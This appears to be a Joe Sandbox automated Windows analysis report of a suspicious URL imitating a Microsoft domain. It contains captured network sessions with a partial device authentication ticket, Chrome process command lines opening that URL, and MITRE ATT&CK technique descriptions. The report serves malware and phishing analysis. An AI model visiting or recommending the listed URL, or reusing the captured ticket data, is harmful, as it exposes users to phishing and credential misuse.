Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49750	20.7.1.246	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 23:34:18 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 61 35 78 33 4e 54 7a 32 30 45 47 6f 54 31 6e 78 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 61 64 36 61 62 32 34 62 65 33 62 32 31 33 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: a5x3NTz20EGoT1nx.1Context: ead6ab24be3b213e
2024-04-23 23:34:18 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-23 23:34:18 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 61 35 78 33 4e 54 7a 32 30 45 47 6f 54 31 6e 78 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 61 64 36 61 62 32 34 62 65 33 62 32 31 33 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 31 31 76 33 4e 6c 6b 4f 41 79 69 6b 6a 36 67 45 64 69 54 79 45 79 68 67 71 2f 55 42 56 61 32 43 6c 49 36 70 77 42 48 54 4c 55 41 6f 49 58 4f 34 68 71 6a 4a 68 79 46 56 73 53 53 61 53 72 64 73 6e 73 72 4b 5a 41 38 4c 2b 6a 49 72 33 66 64 35 59 38 42 41 58 4f 2b 7a 4b 35 6c 4e 64 6b 6d 42 35 43 30 62 2f 5a 59 72 73 55 44 54 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: a5x3NTz20EGoT1nx.2Context: ead6ab24be3b213e<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAX11v3NlkOAyikj6gEdiTyEyhgq/UBVa2ClI6pwBHTLUAoIXO4hqjJhyFVsSSaSrdsnsrKZA8L+jIr3fd5Y8BAXO+zK5lNdkmB5C0b/ZYrsUDT
2024-04-23 23:34:18 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 61 35 78 33 4e 54 7a 32 30 45 47 6f 54 31 6e 78 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 61 64 36 61 62 32 34 62 65 33 62 32 31 33 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: a5x3NTz20EGoT1nx.3Context: ead6ab24be3b213e<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-23 23:34:18 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-23 23:34:18 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 64 54 36 61 5a 66 35 2b 39 45 69 59 6e 31 50 62 79 45 42 33 41 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: dT6aZf5+9EiYn1PbyEB3AA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49751	20.7.1.246	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 23:34:39 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6f 79 45 52 67 36 32 45 38 55 32 2b 58 69 75 74 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 63 35 37 66 65 36 62 64 30 31 62 63 35 30 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: oyERg62E8U2+Xiut.1Context: 4c57fe6bd01bc508
2024-04-23 23:34:39 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-23 23:34:39 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 6f 79 45 52 67 36 32 45 38 55 32 2b 58 69 75 74 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 63 35 37 66 65 36 62 64 30 31 62 63 35 30 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 31 31 76 33 4e 6c 6b 4f 41 79 69 6b 6a 36 67 45 64 69 54 79 45 79 68 67 71 2f 55 42 56 61 32 43 6c 49 36 70 77 42 48 54 4c 55 41 6f 49 58 4f 34 68 71 6a 4a 68 79 46 56 73 53 53 61 53 72 64 73 6e 73 72 4b 5a 41 38 4c 2b 6a 49 72 33 66 64 35 59 38 42 41 58 4f 2b 7a 4b 35 6c 4e 64 6b 6d 42 35 43 30 62 2f 5a 59 72 73 55 44 54 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: oyERg62E8U2+Xiut.2Context: 4c57fe6bd01bc508<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAX11v3NlkOAyikj6gEdiTyEyhgq/UBVa2ClI6pwBHTLUAoIXO4hqjJhyFVsSSaSrdsnsrKZA8L+jIr3fd5Y8BAXO+zK5lNdkmB5C0b/ZYrsUDT
2024-04-23 23:34:39 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6f 79 45 52 67 36 32 45 38 55 32 2b 58 69 75 74 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 63 35 37 66 65 36 62 64 30 31 62 63 35 30 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: oyERg62E8U2+Xiut.3Context: 4c57fe6bd01bc508<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-23 23:34:40 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-23 23:34:40 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 56 54 6f 34 63 48 77 57 62 45 71 4b 58 57 69 34 77 68 53 36 36 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: VTo4cHwWbEqKXWi4whS66g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49755	20.7.1.246	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 23:35:10 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 54 6e 79 50 58 32 45 4d 58 55 79 4b 68 38 78 54 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 32 64 33 38 30 63 63 63 36 30 62 31 35 39 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: TnyPX2EMXUyKh8xT.1Context: 82d380ccc60b1594
2024-04-23 23:35:10 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-23 23:35:10 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 54 6e 79 50 58 32 45 4d 58 55 79 4b 68 38 78 54 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 32 64 33 38 30 63 63 63 36 30 62 31 35 39 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 31 31 76 33 4e 6c 6b 4f 41 79 69 6b 6a 36 67 45 64 69 54 79 45 79 68 67 71 2f 55 42 56 61 32 43 6c 49 36 70 77 42 48 54 4c 55 41 6f 49 58 4f 34 68 71 6a 4a 68 79 46 56 73 53 53 61 53 72 64 73 6e 73 72 4b 5a 41 38 4c 2b 6a 49 72 33 66 64 35 59 38 42 41 58 4f 2b 7a 4b 35 6c 4e 64 6b 6d 42 35 43 30 62 2f 5a 59 72 73 55 44 54 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: TnyPX2EMXUyKh8xT.2Context: 82d380ccc60b1594<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAX11v3NlkOAyikj6gEdiTyEyhgq/UBVa2ClI6pwBHTLUAoIXO4hqjJhyFVsSSaSrdsnsrKZA8L+jIr3fd5Y8BAXO+zK5lNdkmB5C0b/ZYrsUDT
2024-04-23 23:35:10 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 54 6e 79 50 58 32 45 4d 58 55 79 4b 68 38 78 54 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 32 64 33 38 30 63 63 63 36 30 62 31 35 39 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: TnyPX2EMXUyKh8xT.3Context: 82d380ccc60b1594<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-23 23:35:10 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-23 23:35:10 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 69 64 4e 34 38 46 54 78 31 45 79 55 68 34 6b 44 48 78 4a 49 54 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: idN48FTx1EyUh4kDHxJITQ.0Payload parsing failed.

Target ID:	0
Start time:	01:33:47
Start date:	24/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	01:33:50
Start date:	24/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2336 --field-trial-handle=2256,i,9804766802934358695,13672551977537706370,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	01:33:53
Start date:	24/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://wmicrosouab-4ba8.udydzj.workers.dev/"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://wmicrosouab-4ba8.udydzj.workers.dev/

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 56

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

Windows Analysis Report
https://wmicrosouab-4ba8.udydzj.workers.dev/